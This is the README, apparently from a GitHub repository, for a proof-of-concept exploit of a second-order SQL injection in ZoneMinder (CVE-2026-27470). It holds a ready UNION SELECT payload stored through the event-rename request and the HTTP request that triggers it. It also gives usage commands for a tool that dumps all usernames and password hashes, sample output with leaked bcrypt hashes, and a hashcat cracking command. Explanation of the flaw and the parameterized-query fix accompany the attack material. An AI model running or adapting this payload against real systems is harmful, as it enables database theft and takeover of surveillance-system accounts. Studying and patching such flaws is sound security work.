kocaemre/CVE-2026-27470
GitHub: kocaemre/CVE-2026-27470
ZoneMinder 二阶 SQL 注入漏洞(CVE-2026-27470)的概念验证工具,演示如何利用事件重命名功能窃取数据库中的用户凭据等敏感数据。
Stars: 2 | Forks: 0
# CVE-2026-27470 — ZoneMinder 二阶 SQL 注入




针对 ZoneMinder 中 **二阶 SQL 注入** 漏洞的概念验证 exploit(漏洞利用程序)。拥有 `Events` 编辑和查看权限的已认证用户可以从数据库中提取任意数据 —— 包括所有用户凭据。
## 概述
| 字段 | 详情 |
|---|---|
| **CVE ID** | CVE-2026-27470 |
| **严重程度** | HIGH — CVSS 8.8 |
| **向量** | `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| **受影响版本** | ZoneMinder ≤ 1.36.37 and 1.37.61 – 1.38.0 |
| **修复版本** | 1.36.38 / 1.38.1 |
| **文件** | `web/ajax/status.php` → `getNearEvents()` |
| **CWE** | CWE-89: SQL 命令中和不当 |
| **需要认证** | 是 — `Events` 编辑 + 查看权限 |
## 漏洞详情
### 二阶模式
这是一个教科书式的二阶(存储型)SQL 注入。攻击发生在两个独立的阶段,这就是为什么传统的扫描器经常会漏掉它。
**阶段 1 — 安全写入**
攻击者使用恶意 payload 重命名一个事件。ZoneMinder 在此处正确使用了参数化查询,因此 payload 被安全地存储在数据库中,而不会触发任何错误:
```
POST /index.php HTTP/1.1
request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
```
```
// web/ajax/event.php — safe ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);
```
此时一切看起来都很正常。payload 只是静静地存储在 `Events.Name` 列中。
**阶段 2 — 易受攻击的读取**
攻击者通过请求同一事件记录的邻近事件来触发 `getNearEvents()`。该函数从数据库中读回存储的 `Name` 值,并在**没有任何转义的情况下将其直接连接到新的 SQL 查询中**:
```
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
```
```
// web/ajax/status.php ~line 460 — VULNERABLE ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);
$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
INNER JOIN Monitors M ON E.MonitorId = M.Id
WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\' // ← injection point
AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];
```
存储的 payload 跳出了字符串上下文,注入的 `UNION SELECT` 随即执行,在 JSON 响应的 `NextEventId` 字段中泄露数据:
```
{
"result": "Ok",
"nearevents": {
"EventId": "1",
"NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
"NextEventStartTime": null
}
}
```
### 为什么它很危险
开发者犯了一个非常常见的错误:他们在写入时正确地清理了用户输入,从而产生了一种**虚假的安全感**。认为“来自我们自己数据库的数据是安全的”这一假设,使得该漏洞在读取路径中存在了多年。WAF 和大多数自动化扫描器无法捕获此漏洞,因为写入请求看起来完全干净。
## 用法
### 环境要求
```
pip install requests
```
### 选项
```
-t, --target Target URL (e.g. http://10.10.10.10:8080)
-u, --username ZoneMinder username
-p, --password ZoneMinder password
--event-id Event ID to use as injection carrier
--query Custom SQL query to execute
--dump-users Dump all usernames and password hashes
--field Injection field: Name (default) or Cause
--no-restore Do not restore event name after exploitation
```
### 示例
```
# 检查 DB 版本 (最简单测试)
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT VERSION()"
# 转储所有用户和密码哈希
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--dump-users
# 通过 Cause 字段而非 Name 注入
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--field Cause --dump-users
# 自定义查询
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT @@hostname"
```
### 输出
```
╔══════════════════════════════════════════════════════════╗
║ CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC ║
║ CVSS 8.8 | Authenticated | Events Permission ║
╚══════════════════════════════════════════════════════════╝
[*] Target : http://10.10.10.10:8080
[*] Logging in...
[+] Session established.
[+] Event ID (manual): 1
[*] Injecting payload (Name field)...
[+] Payload stored via parameterized query — looks clean in DB.
[*] Triggering second-order injection...
[*] HTTP 200
[*] Event name restored.
[+] User count: 2
[*] Running query: SELECT Username FROM Users LIMIT 0,1
[*] Running query: SELECT Password FROM Users LIMIT 0,1
[+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6
[*] Running query: SELECT Username FROM Users LIMIT 1,1
[*] Running query: SELECT Password FROM Users LIMIT 1,1
[+] User 2: operator:$2b$12$xK8s...
```
## 攻击流程
```
Attacker ZoneMinder MariaDB
│ │ │
│ POST /index.php │ │
│ action=rename │ │
│ eventName= ──────► │ │
│ │ UPDATE Events SET Name=? ──►│
│ │ (parameterized — safe) │
│ │◄─────────────────────────────│
│ │ │
│ GET /index.php │ │
│ entity=nearevents ──────► │ │
│ sort_field=Name │ SELECT * FROM Events WHERE │
│ │ Id=? ──►│
│ │◄── Name = '' ───────│
│ │ │
│ │ builds SQL string: │
│ │ WHERE Name >= '' │
│ │ (no escaping!) │
│ │ UNION SELECT executes ────► │
│ │◄── credentials ──────────────│
│◄── JSON with leaked data ─────│ │
```
## 影响
- **机密性:** 完整的数据库读取 —— 所有用户哈希、API 密钥、监视器配置、系统设置
- **完整性:** 根据数据库驱动程序的配置,堆叠查询可能允许数据修改
- **权限提升:** 离线破解 admin bcrypt 哈希并获得完整的 ZoneMinder 访问权限
```
# 使用 hashcat 破解收集的哈希
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
```
## 注意事项
- 数据库中的 `Events.Name` 是 `varchar(64)` —— 请将注入 payload 保持在 63 个字符以内
- 注入结果显示在 JSON 响应的 `nearevents.NextEventId` 中
- ZoneMinder 使用 bcrypt 进行密码哈希处理(hashcat 模式 3200)
- PoC 会自动处理 CSRF 保护
## 修复建议
将 ZoneMinder 更新至 **1.36.38** 或 **1.38.1**。
修复方法是对存储的值使用参数化查询占位符,而不是字符串连接:
```
// Before (vulnerable)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";
// After (fixed)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);
```
## 参考资料
- [GitHub Security Advisory GHSA-r6gm-478g-f2c4](https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-r6gm-478g-f2c4)
- [ZoneMinder 1.36.38 发布](https://github.com/ZoneMinder/zoneminder/releases/tag/1.36.38)
- [ZoneMinder 1.38.1 发布](https://github.com/ZoneMinder/zoneminder/releases/tag/1.38.1)
## 免责声明
本工具仅供**教育和授权安全研究目的**使用。
请勿针对您不拥有或未获得明确书面测试许可的系统使用本工具。
标签:CISA项目, CVE-2026-27470, CWE-89, Homebrew安装, PHP安全, PoC, Web安全, ZoneMinder, 二阶SQL注入, 多线程, 开源软件漏洞, 提权, 数据库攻击, 暴力破解, 蓝队分析, 视频监控, 认证后漏洞, 逆向工具